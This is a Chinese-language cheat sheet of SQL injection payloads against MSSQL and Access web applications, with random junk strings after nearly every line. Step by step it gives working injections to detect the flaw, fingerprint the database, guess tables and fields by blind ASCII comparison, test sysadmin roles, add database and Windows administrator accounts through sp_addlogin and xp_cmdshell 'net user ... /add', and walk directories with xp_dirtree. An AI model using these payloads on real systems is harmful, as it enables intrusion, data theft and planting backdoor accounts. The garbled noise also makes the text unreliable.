1.判断是否有注入;and 1=1 ;and 1=2 z3\WcW7|
2.初步判断是否是mssql ;and user>0 n*Q~<`T
l[G&=/R@H
3.注入参数是字符'and [查询条件] and ''=' .h0@Vs
)fRZ}7k:
4.搜索时没过滤参数的'and [查询条件] and '%25'=' }ob&d.XZ
{[<o)k .A
5.判断数据库系统 bu
j}pEI
^^O @ [_
;and (select count(*) from sysobjects)>0 mssql k/hD2tBLu
PU"C('AP
;and (select count(*) from msysobjects)>0 access -{^I T`
Tf|?j=f
WaaF;|,(
AxsTB9/
6.猜数据库 ;and (select Count(*) from [数据库名])>0 %+=y!
}r+(Z.BHM
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 HVq02 Z
z;#DX15Rj
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 e?V7<7$
3\ !DsPgW
9.(1)猜字段的ascii值(access) wOlnDQs
5f` a7R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^uDNArDmj5
.w.jT"uD!
(2)猜字段的ascii值(mssql) YM:;mX5B
G[pDKELL
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 @lYm2l^
kzK4i!}
10.测试权限结构(mssql) rmzM}T\20
!bPsJbIo>
gcy'"d"
B*zR/?U^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- HZG^o^o1l+
!'
D1aea5
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- oC~8h8"l
z`?{5v -Qs
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- n )n>|w_
~"Kf+eFi
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- D.i(Irqw!
BkH- d z
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o`]o(OP
ZSBa+3;z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
x=/`W^t2
Ez= Q{g
;and 1=(select IS_MEMBER('db_owner'));-- e13{G@
%y{f]m
':mw(`
/9K,W)h_
11.添加mssql和系统的帐户 AB.gVw|
4
TSl:a &
;exec master.dbo.sp_addlogin username;-- L,m'/}$
;exec master.dbo.sp_password null,username,password;-- :3uCW1
tfSY(cXg'T
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &EELq"5K
RW?F{Jy{
;exec master.dbo.xp_cmdshell 'net user username password tU5Z?QS
tR!!Q
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- uA'S8b%C
3k#?E]'
;exec master.dbo.xp_cmdshell 'net user username password /add';-- l[MP|m#
~ _!lx
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |#&{`3$CG[
QM"\;l??
/uh?F
D.Q9fa&P
12.(1)遍历目录 !vaS fL*]
z vM=k-Ec
;create table dirs(paths varchar(100), id int) 015
;'V#we
dTE(+M-
Gr
;insert dirs exec master.dbo.xp_dirtree 'c:\' <~%e{F:[#
,C=Lu9
;and (select top 1 paths from dirs)>0 sULCYiT|Hn
:jJ;&t^^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #[Z1W8e
c]eDTbXd
{.D^2mj|
aB=&X